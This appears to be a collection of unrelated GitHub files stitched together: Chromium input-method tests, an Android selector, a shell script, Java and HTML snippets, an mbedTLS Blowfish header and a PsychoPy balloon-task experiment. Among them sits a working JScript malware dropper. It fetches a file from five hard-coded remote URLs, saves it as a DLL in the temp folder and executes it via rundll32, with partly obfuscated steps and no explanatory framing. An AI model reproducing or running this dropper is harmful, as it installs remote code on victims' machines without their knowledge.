virtual void OnCaretBoundsChanged(const TextInputClient* client) OVERRIDE {
}
virtual void CancelComposition(const TextInputClient* client) OVERRIDE {
}
virtual void OnInputLocaleChanged() OVERRIDE {
}
virtual std::string GetInputLocale() OVERRIDE{
return "";
}
virtual bool IsActive() OVERRIDE {
return false;
}
virtual bool IsCandidatePopupOpen() const OVERRIDE {
return false;
}
// Overriden from InputMethodBase.
virtual void OnWillChangeFocusedClient(TextInputClient* focused_before,
TextInputClient* focused) OVERRIDE {
verifier_->OnWillChangeFocusedClient(focused_before, focused);
}
virtual void OnDidChangeFocusedClient(TextInputClient* focused_before,
TextInputClient* focused) OVERRIDE {
verifier_->OnDidChangeFocusedClient(focused_before, focused);
}
ClientChangeVerifier* verifier_;
FRIEND_TEST_ALL_PREFIXES(InputMethodBaseTest, CandidateWindowEvents);
DISALLOW_COPY_AND_ASSIGN(MockInputMethodBase);
};
class MockInputMethodObserver : public InputMethodObserver {
public:
// Note: this class does not take the ownership of |verifier|.
explicit MockInputMethodObserver(ClientChangeVerifier* verifier)
: verifier_(verifier) {
}
virtual ~MockInputMethodObserver() {
}
private:
virtual void OnTextInputTypeChanged(const TextInputClient* client) OVERRIDE {
}
virtual void OnFocus() OVERRIDE {
}
virtual void OnBlur() OVERRIDE {
}
virtual void OnCaretBoundsChanged(const TextInputClient* client) OVERRIDE {
}
virtual void OnTextInputStateChanged(const TextInputClient* client) OVERRIDE {
verifier_->OnTextInputStateChanged(client);
}
virtual void OnShowImeIfNeeded() OVERRIDE {
}
virtual void OnInputMethodDestroyed(const InputMethod* client) OVERRIDE {
}
ClientChangeVerifier* verifier_;
DISALLOW_COPY_AND_ASSIGN(MockInputMethodObserver);
};
class MockTextInputClient : public DummyTextInputClient {
public:
MockTextInputClient()
: shown_event_count_(0), updated_event_count_(0), hidden_event_count_(0) {
}
virtual ~MockTextInputClient() {
}
virtual void OnCandidateWindowShown() OVERRIDE {
++shown_event_count_;
}
virtual void OnCandidateWindowUpdated() OVERRIDE {
++updated_event_count_;
}
virtual void OnCandidateWindowHidden() OVERRIDE {
++hidden_event_count_;
}
int shown_event_count() const { return shown_event_count_; }
int updated_event_count() const { return updated_event_count_; }
int hidden_event_count() const { return hidden_event_count_; }
private:
int shown_event_count_;
int updated_event_count_;
int hidden_event_count_;
};
typedef ScopedObserver<InputMethod, InputMethodObserver>
InputMethodScopedObserver;
TEST_F(InputMethodBaseTest, SetFocusedTextInputClient) {
DummyTextInputClient text_input_client_1st;
DummyTextInputClient text_input_client_2nd;
ClientChangeVerifier verifier;
MockInputMethodBase input_method(&verifier);
MockInputMethodObserver input_method_observer(&verifier);
InputMethodScopedObserver scoped_observer(&input_method_observer);
scoped_observer.Add(&input_method);
// Assume that the top-level-widget gains focus.
input_method.OnFocus();
{
SCOPED_TRACE("Focus from NULL to 1st TextInputClient");
ASSERT_EQ(NULL, input_method.GetTextInputClient());
verifier.ExpectClientChange(NULL, &text_input_client_1st);
input_method.SetFocusedTextInputClient(&text_input_client_1st);
EXPECT_EQ(&text_input_client_1st, input_method.GetTextInputClient());
verifier.Verify();
}
{
SCOPED_TRACE("Redundant focus events must be ignored");
verifier.ExpectClientDoesNotChange();
input_method.SetFocusedTextInputClient(&text_input_client_1st);
verifier.Verify();
}
{
SCOPED_TRACE("Focus from 1st to 2nd TextInputClient");
ASSERT_EQ(&text_input_client_1st, input_method.GetTextInputClient());
verifier.ExpectClientChange(&text_input_client_1st,
&text_input_client_2nd);
input_method.SetFocusedTextInputClient(&text_input_client_2nd);
EXPECT_EQ(&text_input_client_2nd, input_method.GetTextInputClient());
verifier.Verify();
}
{
SCOPED_TRACE("Focus from 2nd TextInputClient to NULL");
ASSERT_EQ(&text_input_client_2nd, input_method.GetTextInputClient());
verifier.ExpectClientChange(&text_input_client_2nd, NULL);
input_method.SetFocusedTextInputClient(NULL);
EXPECT_EQ(NULL, input_method.GetTextInputClient());
verifier.Verify();
}
{
SCOPED_TRACE("Redundant focus events must be ignored");
verifier.ExpectClientDoesNotChange();
input_method.SetFocusedTextInputClient(NULL);
verifier.Verify();
}
}
TEST_F(InputMethodBaseTest, DetachTextInputClient) {
DummyTextInputClient text_input_client;
DummyTextInputClient text_input_client_the_other;
ClientChangeVerifier verifier;
MockInputMethodBase input_method(&verifier);
MockInputMethodObserver input_method_observer(&verifier);
InputMethodScopedObserver scoped_observer(&input_method_observer);
scoped_observer.Add(&input_method);
// Assume that the top-level-widget gains focus.
input_method.OnFocus();
// Initialize for the next test.
{
verifier.ExpectClientChange(NULL, &text_input_client);
input_method.SetFocusedTextInputClient(&text_input_client);
verifier.Verify();
}
{
SCOPED_TRACE("DetachTextInputClient must be ignored for other clients");
ASSERT_EQ(&text_input_client, input_method.GetTextInputClient());
verifier.ExpectClientDoesNotChange();
input_method.DetachTextInputClient(&text_input_client_the_other);
EXPECT_EQ(&text_input_client, input_method.GetTextInputClient());
verifier.Verify();
}
{
SCOPED_TRACE("DetachTextInputClient must succeed even after the "
"top-level loses the focus");
ASSERT_EQ(&text_input_client, input_method.GetTextInputClient());
input_method.OnBlur();
input_method.OnFocus();
verifier.ExpectClientChange(&text_input_client, NULL);
input_method.DetachTextInputClient(&text_input_client);
EXPECT_EQ(NULL, input_method.GetTextInputClient());
verifier.Verify();
}
}
TEST_F(InputMethodBaseTest, CandidateWindowEvents) {
MockTextInputClient text_input_client;
{
ClientChangeVerifier verifier;
MockInputMethodBase input_method_base(&verifier);
input_method_base.OnFocus();
verifier.ExpectClientChange(NULL, &text_input_client);
input_method_base.SetFocusedTextInputClient(&text_input_client);
EXPECT_EQ(0, text_input_client.shown_event_count());
EXPECT_EQ(0, text_input_client.updated_event_count());
EXPECT_EQ(0, text_input_client.hidden_event_count());
input_method_base.OnCandidateWindowShown();
base::RunLoop().RunUntilIdle();
EXPECT_EQ(1, text_input_client.shown_event_count());
EXPECT_EQ(0, text_input_client.updated_event_count());
EXPECT_EQ(0, text_input_client.hidden_event_count());
input_method_base.OnCandidateWindowUpdated();
base::RunLoop().RunUntilIdle();
EXPECT_EQ(1, text_input_client.shown_event_count());
EXPECT_EQ(1, text_input_client.updated_event_count());
EXPECT_EQ(0, text_input_client.hidden_event_count());
input_method_base.OnCandidateWindowHidden();
base::RunLoop().RunUntilIdle();
EXPECT_EQ(1, text_input_client.shown_event_count());
EXPECT_EQ(1, text_input_client.updated_event_count());
EXPECT_EQ(1, text_input_client.hidden_event_count());
input_method_base.OnCandidateWindowShown();
}
// If InputMethod is deleted immediately after an event happens, but before
// its callback is invoked, the callback will be cancelled.
base::RunLoop().RunUntilIdle();
EXPECT_EQ(1, text_input_client.shown_event_count());
EXPECT_EQ(1, text_input_client.updated_event_count());
EXPECT_EQ(1, text_input_client.hidden_event_count());
}
} // namespace
} // namespace ui
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<!-- Copyright (C) 2011 The Android Open Source Project
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<selector xmlns:android="http://schemas.android.com/apk/res/android">
<item
android:state_enabled="true"
android:state_active="false"
android:state_focused="false"
android:drawable="@drawable/ic_lockscreen_soundon_normal" />
<item
android:state_enabled="true"
android:state_active="true"
android:state_focused="false"
android:drawable="@drawable/ic_lockscreen_soundon_activated" />
<item
android:state_enabled="true"
android:state_active="false"
android:state_focused="true"
android:drawable="@drawable/ic_lockscreen_soundon_activated" />
</selector>
| {
"pile_set_name": "Github"
} |
source $setup
tar -xf $src
mv xcb-util-* xcb-util
license=$(cat xcb-util/COPYING)
cat > $out <<EOF
<h2>xcb-util</h2>
<pre>
$license
</pre>
EOF
| {
"pile_set_name": "Github"
} |
/*
* Asqatasun - Automated webpage assessment
* Copyright (C) 2008-2019 Asqatasun.org
*
* This file is part of Asqatasun.
*
* Asqatasun is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as
* published by the Free Software Foundation, either version 3 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
* Contact us by mail: asqatasun AT asqatasun DOT org
*/
package org.asqatasun.entity.service.reference;
import org.asqatasun.sdk.entity.service.AbstractGenericDataService;
import org.asqatasun.entity.reference.Scope;
/**
*
* @author jkowalczyk
*/
public class ScopeDataServiceImpl extends AbstractGenericDataService<Scope, Long>
implements ScopeDataService {
public ScopeDataServiceImpl() {
super();
}
}
| {
"pile_set_name": "Github"
} |
<div class="ukefu-entim-point ukefu-entim-msgbox" style="cursor: pointer;" onclick="top.closeentim();" title="展开">
<div class=" expand" style="width: 100%;height: 100%;">
<i class="layui-icon" ></i>
</div>
</div>
<style>
.expand:hover{
background: rgba(0,0,0,0.2);
}
</style>
| {
"pile_set_name": "Github"
} |
var ZNe7=1;
var DRu5=2;
var YPu0 = "http://";
var JSv3 = [YPu0 + "jalapodist.net/6xs6hc",YPu0 + "stocktradex.com/zhryhn",YPu0 + "lasentea.com/yxtnvs",YPu0 + "facecapsule.com/yoj0163",YPu0 + "goodswand.net/7hukrxl"];
var FZl6 = "q5ZvRC2r9e";
var NAu8=2;
var QEk7="437";
var RHs5=WScript["CreateObject"]("WScript.Shell");
var NSu9=RHs5.ExpandEnvironmentStrings("%T"+"EMP%/");
var NWk8=NSu9 + FZl6;
var Hl2=NWk8 + ".d" + "ll";
var MOo5 = RHs5["Environment"]("System");
if (MOo5("PROCESSOR_ARCHITECTURE").toLowerCase() == "amd64")
{
var Gp1 = RHs5.ExpandEnvironmentStrings("%SystemRoot%\\SysWOW64\\rundll32.exe");
}
else
{
var Gp1 = RHs5["ExpandEnvironmentStrings"]("%SystemRoot%\\system32\\rundll32.exe");
}
var Zy5=["MSXML2.XMLHTTP", "WinHttp.WinHttpRequest.5.1"];
for (var El1=0; El1 < Zy5["length"]; El1++)
{
try
{
var Fk7=WScript["CreateObject"](Zy5[El1]);
break;
}
catch (e)
{
continue;
}
};
var BSx9 = new ActiveXObject("Scripting.FileSystemObject");
function Tc4()
{
var VSd7 = BSx9.GetFile(Hl2);
return VSd7.ShortPath;
}
var Yg1 = 0;
for (var Kd4 = 0; Kd4 < JSv3.length; Kd4 = Kd4 + 1)
{
try
{
Fk7["open"]("GET", JSv3[Kd4], false);
Fk7["send"]();
while (Fk7.readystate < 4) WScript["Sleep"](100);
var HEj5=this["WScript"]["CreateObject"]("ADODB.Stream");
HEj5["open"]();
HEj5.type=ZNe7;
/*@cc_on
HEj5.write(Fk7.ResponseBody);
HEj5.position=0;
HEj5['Sav'+'eT'+'oFile'](Hl2, NAu8);
HEj5.close();
var If5 = Tc4();
var d = new Date();
d.setFullYear("2015");
RHs5["Run"](Gp1 + " " + If5 + ",0005");
@*/
break;
}
catch (e) {continue;};
}
WScript.Quit(0); | {
"pile_set_name": "Github"
} |
/**
* \file blowfish.h
*
* \brief Blowfish block cipher
*/
/*
* Copyright (C) 2006-2015, ARM Limited, All Rights Reserved
* SPDX-License-Identifier: Apache-2.0
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may
* not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* This file is part of mbed TLS (https://tls.mbed.org)
*/
#ifndef MBEDTLS_BLOWFISH_H
#define MBEDTLS_BLOWFISH_H
#if !defined(MBEDTLS_CONFIG_FILE)
#include "mbedtls/config.h"
#else
#include MBEDTLS_CONFIG_FILE
#endif
#include <stddef.h>
#include <stdint.h>
#include "mbedtls/platform_util.h"
#define MBEDTLS_BLOWFISH_ENCRYPT 1
#define MBEDTLS_BLOWFISH_DECRYPT 0
#define MBEDTLS_BLOWFISH_MAX_KEY_BITS 448
#define MBEDTLS_BLOWFISH_MIN_KEY_BITS 32
#define MBEDTLS_BLOWFISH_ROUNDS 16 /**< Rounds to use. When increasing this value, make sure to extend the initialisation vectors */
#define MBEDTLS_BLOWFISH_BLOCKSIZE 8 /* Blowfish uses 64 bit blocks */
#if !defined(MBEDTLS_DEPRECATED_REMOVED)
#define MBEDTLS_ERR_BLOWFISH_INVALID_KEY_LENGTH MBEDTLS_DEPRECATED_NUMERIC_CONSTANT( -0x0016 )
#endif /* !MBEDTLS_DEPRECATED_REMOVED */
#define MBEDTLS_ERR_BLOWFISH_BAD_INPUT_DATA -0x0016 /**< Bad input data. */
#define MBEDTLS_ERR_BLOWFISH_INVALID_INPUT_LENGTH -0x0018 /**< Invalid data input length. */
/* MBEDTLS_ERR_BLOWFISH_HW_ACCEL_FAILED is deprecated and should not be used.
*/
#define MBEDTLS_ERR_BLOWFISH_HW_ACCEL_FAILED -0x0017 /**< Blowfish hardware accelerator failed. */
#ifdef __cplusplus
extern "C" {
#endif
#if !defined(MBEDTLS_BLOWFISH_ALT)
// Regular implementation
//
/**
* \brief Blowfish context structure
*/
typedef struct mbedtls_blowfish_context
{
uint32_t P[MBEDTLS_BLOWFISH_ROUNDS + 2]; /*!< Blowfish round keys */
uint32_t S[4][256]; /*!< key dependent S-boxes */
}
mbedtls_blowfish_context;
#else /* MBEDTLS_BLOWFISH_ALT */
#include "blowfish_alt.h"
#endif /* MBEDTLS_BLOWFISH_ALT */
/**
* \brief Initialize a Blowfish context.
*
* \param ctx The Blowfish context to be initialized.
* This must not be \c NULL.
*/
void mbedtls_blowfish_init( mbedtls_blowfish_context *ctx );
/**
* \brief Clear a Blowfish context.
*
* \param ctx The Blowfish context to be cleared.
* This may be \c NULL, in which case this function
* returns immediately. If it is not \c NULL, it must
* point to an initialized Blowfish context.
*/
void mbedtls_blowfish_free( mbedtls_blowfish_context *ctx );
/**
* \brief Perform a Blowfish key schedule operation.
*
* \param ctx The Blowfish context to perform the key schedule on.
* \param key The encryption key. This must be a readable buffer of
* length \p keybits Bits.
* \param keybits The length of \p key in Bits. This must be between
* \c 32 and \c 448 and a multiple of \c 8.
*
* \return \c 0 if successful.
* \return A negative error code on failure.
*/
int mbedtls_blowfish_setkey( mbedtls_blowfish_context *ctx, const unsigned char *key,
unsigned int keybits );
/**
* \brief Perform a Blowfish-ECB block encryption/decryption operation.
*
* \param ctx The Blowfish context to use. This must be initialized
* and bound to a key.
* \param mode The mode of operation. Possible values are
* #MBEDTLS_BLOWFISH_ENCRYPT for encryption, or
* #MBEDTLS_BLOWFISH_DECRYPT for decryption.
* \param input The input block. This must be a readable buffer
* of size \c 8 Bytes.
* \param output The output block. This must be a writable buffer
* of size \c 8 Bytes.
*
* \return \c 0 if successful.
* \return A negative error code on failure.
*/
int mbedtls_blowfish_crypt_ecb( mbedtls_blowfish_context *ctx,
int mode,
const unsigned char input[MBEDTLS_BLOWFISH_BLOCKSIZE],
unsigned char output[MBEDTLS_BLOWFISH_BLOCKSIZE] );
#if defined(MBEDTLS_CIPHER_MODE_CBC)
/**
* \brief Perform a Blowfish-CBC buffer encryption/decryption operation.
*
* \note Upon exit, the content of the IV is updated so that you can
* call the function same function again on the following
* block(s) of data and get the same result as if it was
* encrypted in one call. This allows a "streaming" usage.
* If on the other hand you need to retain the contents of the
* IV, you should either save it manually or use the cipher
* module instead.
*
* \param ctx The Blowfish context to use. This must be initialized
* and bound to a key.
* \param mode The mode of operation. Possible values are
* #MBEDTLS_BLOWFISH_ENCRYPT for encryption, or
* #MBEDTLS_BLOWFISH_DECRYPT for decryption.
* \param length The length of the input data in Bytes. This must be
* multiple of \c 8.
* \param iv The initialization vector. This must be a read/write buffer
* of length \c 8 Bytes. It is updated by this function.
* \param input The input data. This must be a readable buffer of length
* \p length Bytes.
* \param output The output data. This must be a writable buffer of length
* \p length Bytes.
*
* \return \c 0 if successful.
* \return A negative error code on failure.
*/
int mbedtls_blowfish_crypt_cbc( mbedtls_blowfish_context *ctx,
int mode,
size_t length,
unsigned char iv[MBEDTLS_BLOWFISH_BLOCKSIZE],
const unsigned char *input,
unsigned char *output );
#endif /* MBEDTLS_CIPHER_MODE_CBC */
#if defined(MBEDTLS_CIPHER_MODE_CFB)
/**
* \brief Perform a Blowfish CFB buffer encryption/decryption operation.
*
* \note Upon exit, the content of the IV is updated so that you can
* call the function same function again on the following
* block(s) of data and get the same result as if it was
* encrypted in one call. This allows a "streaming" usage.
* If on the other hand you need to retain the contents of the
* IV, you should either save it manually or use the cipher
* module instead.
*
* \param ctx The Blowfish context to use. This must be initialized
* and bound to a key.
* \param mode The mode of operation. Possible values are
* #MBEDTLS_BLOWFISH_ENCRYPT for encryption, or
* #MBEDTLS_BLOWFISH_DECRYPT for decryption.
* \param length The length of the input data in Bytes.
* \param iv_off The offset in the initialiation vector.
* The value pointed to must be smaller than \c 8 Bytes.
* It is updated by this function to support the aforementioned
* streaming usage.
* \param iv The initialization vector. This must be a read/write buffer
* of size \c 8 Bytes. It is updated after use.
* \param input The input data. This must be a readable buffer of length
* \p length Bytes.
* \param output The output data. This must be a writable buffer of length
* \p length Bytes.
*
* \return \c 0 if successful.
* \return A negative error code on failure.
*/
int mbedtls_blowfish_crypt_cfb64( mbedtls_blowfish_context *ctx,
int mode,
size_t length,
size_t *iv_off,
unsigned char iv[MBEDTLS_BLOWFISH_BLOCKSIZE],
const unsigned char *input,
unsigned char *output );
#endif /*MBEDTLS_CIPHER_MODE_CFB */
#if defined(MBEDTLS_CIPHER_MODE_CTR)
/**
* \brief Perform a Blowfish-CTR buffer encryption/decryption operation.
*
* \warning You must never reuse a nonce value with the same key. Doing so
* would void the encryption for the two messages encrypted with
* the same nonce and key.
*
* There are two common strategies for managing nonces with CTR:
*
* 1. You can handle everything as a single message processed over
* successive calls to this function. In that case, you want to
* set \p nonce_counter and \p nc_off to 0 for the first call, and
* then preserve the values of \p nonce_counter, \p nc_off and \p
* stream_block across calls to this function as they will be
* updated by this function.
*
* With this strategy, you must not encrypt more than 2**64
* blocks of data with the same key.
*
* 2. You can encrypt separate messages by dividing the \p
* nonce_counter buffer in two areas: the first one used for a
* per-message nonce, handled by yourself, and the second one
* updated by this function internally.
*
* For example, you might reserve the first 4 bytes for the
* per-message nonce, and the last 4 bytes for internal use. In that
* case, before calling this function on a new message you need to
* set the first 4 bytes of \p nonce_counter to your chosen nonce
* value, the last 4 to 0, and \p nc_off to 0 (which will cause \p
* stream_block to be ignored). That way, you can encrypt at most
* 2**32 messages of up to 2**32 blocks each with the same key.
*
* The per-message nonce (or information sufficient to reconstruct
* it) needs to be communicated with the ciphertext and must be unique.
* The recommended way to ensure uniqueness is to use a message
* counter.
*
* Note that for both stategies, sizes are measured in blocks and
* that a Blowfish block is 8 bytes.
*
* \warning Upon return, \p stream_block contains sensitive data. Its
* content must not be written to insecure storage and should be
* securely discarded as soon as it's no longer needed.
*
* \param ctx The Blowfish context to use. This must be initialized
* and bound to a key.
* \param length The length of the input data in Bytes.
* \param nc_off The offset in the current stream_block (for resuming
* within current cipher stream). The offset pointer
* should be \c 0 at the start of a stream and must be
* smaller than \c 8. It is updated by this function.
* \param nonce_counter The 64-bit nonce and counter. This must point to a
* read/write buffer of length \c 8 Bytes.
* \param stream_block The saved stream-block for resuming. This must point to
* a read/write buffer of length \c 8 Bytes.
* \param input The input data. This must be a readable buffer of
* length \p length Bytes.
* \param output The output data. This must be a writable buffer of
* length \p length Bytes.
*
* \return \c 0 if successful.
* \return A negative error code on failure.
*/
int mbedtls_blowfish_crypt_ctr( mbedtls_blowfish_context *ctx,
size_t length,
size_t *nc_off,
unsigned char nonce_counter[MBEDTLS_BLOWFISH_BLOCKSIZE],
unsigned char stream_block[MBEDTLS_BLOWFISH_BLOCKSIZE],
const unsigned char *input,
unsigned char *output );
#endif /* MBEDTLS_CIPHER_MODE_CTR */
#ifdef __cplusplus
}
#endif
#endif /* blowfish.h */
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" ?>
<PsychoPy2experiment version="2020.1.3" encoding="utf-8">
<Settings>
<Param name="Audio latency priority" val="use prefs" valType="str" updates="None"/>
<Param name="Audio lib" val="use prefs" valType="str" updates="None"/>
<Param name="Completed URL" val="" valType="str" updates="None"/>
<Param name="Data filename" val="u'data/%s_%s_%s' % (expInfo['participant'], expName, expInfo['date'])" valType="code" updates="None"/>
<Param name="Enable Escape" val="True" valType="bool" updates="None"/>
<Param name="Experiment info" val="{'participant': '', 'age': '', 'session': '004'}" valType="code" updates="None"/>
<Param name="Force stereo" val="True" valType="bool" updates="None"/>
<Param name="Full-screen window" val="True" valType="bool" updates="None"/>
<Param name="HTML path" val="html" valType="str" updates="None"/>
<Param name="Incomplete URL" val="" valType="str" updates="None"/>
<Param name="JS libs" val="packaged" valType="str" updates="None"/>
<Param name="Monitor" val="testMonitor" valType="str" updates="None"/>
<Param name="Save csv file" val="False" valType="bool" updates="None"/>
<Param name="Save excel file" val="True" valType="bool" updates="None"/>
<Param name="Save log file" val="True" valType="bool" updates="None"/>
<Param name="Save psydat file" val="True" valType="bool" updates="None"/>
<Param name="Save wide csv file" val="True" valType="bool" updates="None"/>
<Param name="Saved data folder" val="" valType="code" updates="None"/>
<Param name="Screen" val="1" valType="num" updates="None"/>
<Param name="Show info dlg" val="True" valType="bool" updates="None"/>
<Param name="Show mouse" val="False" valType="bool" updates="None"/>
<Param name="Units" val="use prefs" valType="str" updates="None"/>
<Param name="Use version" val="" valType="str" updates="None"/>
<Param name="Window size (pixels)" val="[1920, 1080]" valType="code" updates="None"/>
<Param name="blendMode" val="avg" valType="str" updates="None"/>
<Param name="color" val="$[0,0,0]" valType="str" updates="None"/>
<Param name="colorSpace" val="rgb" valType="str" updates="None"/>
<Param name="expName" val="bart" valType="str" updates="None"/>
<Param name="exportHTML" val="on Sync" valType="str" updates="None"/>
<Param name="logging level" val="warning" valType="code" updates="None"/>
</Settings>
<Routines>
<Routine name="trial">
<CodeComponent name="updateEarnings">
<Param name="Before Experiment" val="# This code will run before the experiment window is opened, after importing all of the necessary packages &#10;&#10;" valType="extendedCode" updates="constant"/>
<Param name="Before JS Experiment" val="" valType="extendedCode" updates="constant"/>
<Param name="Begin Experiment" val="bankedEarnings=0.0&#10;lastBalloonEarnings=0.0&#10;thisBalloonEarnings=0.0" valType="extendedCode" updates="constant"/>
<Param name="Begin JS Experiment" val="" valType="extendedCode" updates="constant"/>
<Param name="Begin JS Routine" val="" valType="extendedCode" updates="constant"/>
<Param name="Begin Routine" val="" valType="extendedCode" updates="constant"/>
<Param name="Code Type" val="Py" valType="str" updates="None"/>
<Param name="Each Frame" val="thisBalloonEarnings=nPumps*0.05" valType="extendedCode" updates="constant"/>
<Param name="Each JS Frame" val="" valType="extendedCode" updates="constant"/>
<Param name="End Experiment" val="" valType="extendedCode" updates="constant"/>
<Param name="End JS Experiment" val="" valType="extendedCode" updates="constant"/>
<Param name="End JS Routine" val="" valType="extendedCode" updates="constant"/>
<Param name="End Routine" val="#calculate cash 'earned'&#10;if popped:&#10; thisBalloonEarnings=0.0&#10; lastBalloonEarnings=0.0&#10;else: lastBalloonEarnings=thisBalloonEarnings&#10;bankedEarnings = bankedEarnings+lastBalloonEarnings" valType="extendedCode" updates="constant"/>
<Param name="disabled" val="False" valType="bool" updates="None"/>
<Param name="name" val="updateEarnings" valType="code" updates="None"/>
</CodeComponent>
<CodeComponent name="setBalloonSize">
<Param name="Before Experiment" val="# This code will run before the experiment window is opened, after importing all of the necessary packages &#10;&#10;" valType="extendedCode" updates="constant"/>
<Param name="Before JS Experiment" val="" valType="extendedCode" updates="constant"/>
<Param name="Begin Experiment" val="balloonSize=0.08&#10;balloonMsgHeight=0.01" valType="extendedCode" updates="constant"/>
<Param name="Begin JS Experiment" val="" valType="extendedCode" updates="constant"/>
<Param name="Begin JS Routine" val="" valType="extendedCode" updates="constant"/>
<Param name="Begin Routine" val="balloonSize=0.08&#10;popped=False&#10;nPumps=0" valType="extendedCode" updates="constant"/>
<Param name="Code Type" val="Py" valType="str" updates="None"/>
<Param name="Each Frame" val="balloonSize=0.1+nPumps*0.015" valType="extendedCode" updates="constant"/>
<Param name="Each JS Frame" val="" valType="extendedCode" updates="constant"/>
<Param name="End Experiment" val="" valType="extendedCode" updates="constant"/>
<Param name="End JS Experiment" val="" valType="extendedCode" updates="constant"/>
<Param name="End JS Routine" val="" valType="extendedCode" updates="constant"/>
<Param name="End Routine" val="#save data&#10;trials.addData('nPumps', nPumps)&#10;trials.addData('size', balloonSize)&#10;trials.addData('earnings', thisBalloonEarnings)&#10;trials.addData('popped', popped)&#10;&#10;" valType="extendedCode" updates="constant"/>
<Param name="disabled" val="False" valType="bool" updates="None"/>
<Param name="name" val="setBalloonSize" valType="code" updates="None"/>
</CodeComponent>
<ImageComponent name="balloonBody">
<Param name="color" val="$[1,1,1]" valType="str" updates="constant"/>
<Param name="colorSpace" val="rgb" valType="str" updates="constant"/>
<Param name="disabled" val="False" valType="bool" updates="None"/>
<Param name="durationEstim" val="" valType="code" updates="None"/>
<Param name="flipHoriz" val="False" valType="bool" updates="constant"/>
<Param name="flipVert" val="False" valType="bool" updates="constant"/>
<Param name="image" val="redBalloon.png" valType="str" updates="constant"/>
<Param name="interpolate" val="linear" valType="str" updates="constant"/>
<Param name="mask" val="None" valType="str" updates="constant"/>
<Param name="name" val="balloonBody" valType="code" updates="constant"/>
<Param name="opacity" val="1" valType="code" updates="constant"/>
<Param name="ori" val="0" valType="code" updates="constant"/>
<Param name="pos" val="$[-1+balloonSize/2, 0]" valType="code" updates="set every frame"/>
<Param name="saveStartStop" val="True" valType="bool" updates="None"/>
<Param name="size" val="$balloonSize" valType="code" updates="set every frame"/>
<Param name="startEstim" val="" valType="code" updates="None"/>
<Param name="startType" val="time (s)" valType="str" updates="None"/>
<Param name="startVal" val="0.0" valType="code" updates="None"/>
<Param name="stopType" val="duration (s)" valType="str" updates="None"/>
<Param name="stopVal" val="" valType="code" updates="constant"/>
<Param name="syncScreenRefresh" val="True" valType="bool" updates="None"/>
<Param name="texture resolution" val="128" valType="code" updates="constant"/>
<Param name="units" val="from exp settings" valType="str" updates="None"/>
</ImageComponent>
<TextComponent name="reminderMsg">
<Param name="color" val="white" valType="str" updates="constant"/>
<Param name="colorSpace" val="rgb" valType="str" updates="constant"/>
<Param name="disabled" val="False" valType="bool" updates="None"/>
<Param name="durationEstim" val="" valType="code" updates="None"/>
<Param name="flip" val="" valType="str" updates="constant"/>
<Param name="font" val="Arial" valType="str" updates="constant"/>
<Param name="languageStyle" val="LTR" valType="str" updates="None"/>
<Param name="letterHeight" val="0.05" valType="code" updates="constant"/>
<Param name="name" val="reminderMsg" valType="code" updates="constant"/>
<Param name="opacity" val="1" valType="code" updates="constant"/>
<Param name="ori" val="0" valType="code" updates="constant"/>
<Param name="pos" val="[0, -0.8]" valType="code" updates="constant"/>
<Param name="saveStartStop" val="True" valType="bool" updates="None"/>
<Param name="startEstim" val="" valType="code" updates="None"/>
<Param name="startType" val="time (s)" valType="str" updates="None"/>
<Param name="startVal" val="0.0" valType="code" updates="None"/>
<Param name="stopType" val="duration (s)" valType="str" updates="None"/>
<Param name="stopVal" val="" valType="code" updates="constant"/>
<Param name="syncScreenRefresh" val="True" valType="bool" updates="None"/>
<Param name="text" val="Press SPACE to pump the balloon&#10;Press RETURN to bank this sum" valType="str" updates="constant"/>
<Param name="units" val="from exp settings" valType="str" updates="None"/>
<Param name="wrapWidth" val="" valType="code" updates="constant"/>
</TextComponent>
<TextComponent name="balloonValMsg">
<Param name="color" val="white" valType="str" updates="constant"/>
<Param name="colorSpace" val="rgb" valType="str" updates="constant"/>
<Param name="disabled" val="False" valType="bool" updates="None"/>
<Param name="durationEstim" val="" valType="code" updates="None"/>
<Param name="flip" val="" valType="str" updates="constant"/>
<Param name="font" val="Arial" valType="str" updates="constant"/>
<Param name="languageStyle" val="LTR" valType="str" updates="None"/>
<Param name="letterHeight" val="0.1" valType="code" updates="constant"/>
<Param name="name" val="balloonValMsg" valType="code" updates="constant"/>
<Param name="opacity" val="1" valType="code" updates="constant"/>
<Param name="ori" val="0" valType="code" updates="constant"/>
<Param name="pos" val="[0,0.05]" valType="code" updates="constant"/>
<Param name="saveStartStop" val="True" valType="bool" updates="None"/>
<Param name="startEstim" val="" valType="code" updates="None"/>
<Param name="startType" val="time (s)" valType="str" updates="None"/>
<Param name="startVal" val="0.0" valType="code" updates="None"/>
<Param name="stopType" val="duration (s)" valType="str" updates="None"/>
<Param name="stopVal" val="" valType="code" updates="constant"/>
<Param name="syncScreenRefresh" val="True" valType="bool" updates="None"/>
<Param name="text" val="$u"This balloon value:\n£%.2f" %thisBalloonEarnings" valType="str" updates="set every frame"/>
<Param name="units" val="from exp settings" valType="str" updates="None"/>
<Param name="wrapWidth" val="" valType="code" updates="constant"/>
</TextComponent>
<TextComponent name="bankedMsg">
<Param name="color" val="white" valType="str" updates="constant"/>
<Param name="colorSpace" val="rgb" valType="str" updates="constant"/>
<Param name="disabled" val="False" valType="bool" updates="None"/>
<Param name="durationEstim" val="" valType="code" updates="None"/>
<Param name="flip" val="" valType="str" updates="constant"/>
<Param name="font" val="Arial" valType="str" updates="constant"/>
<Param name="languageStyle" val="LTR" valType="str" updates="None"/>
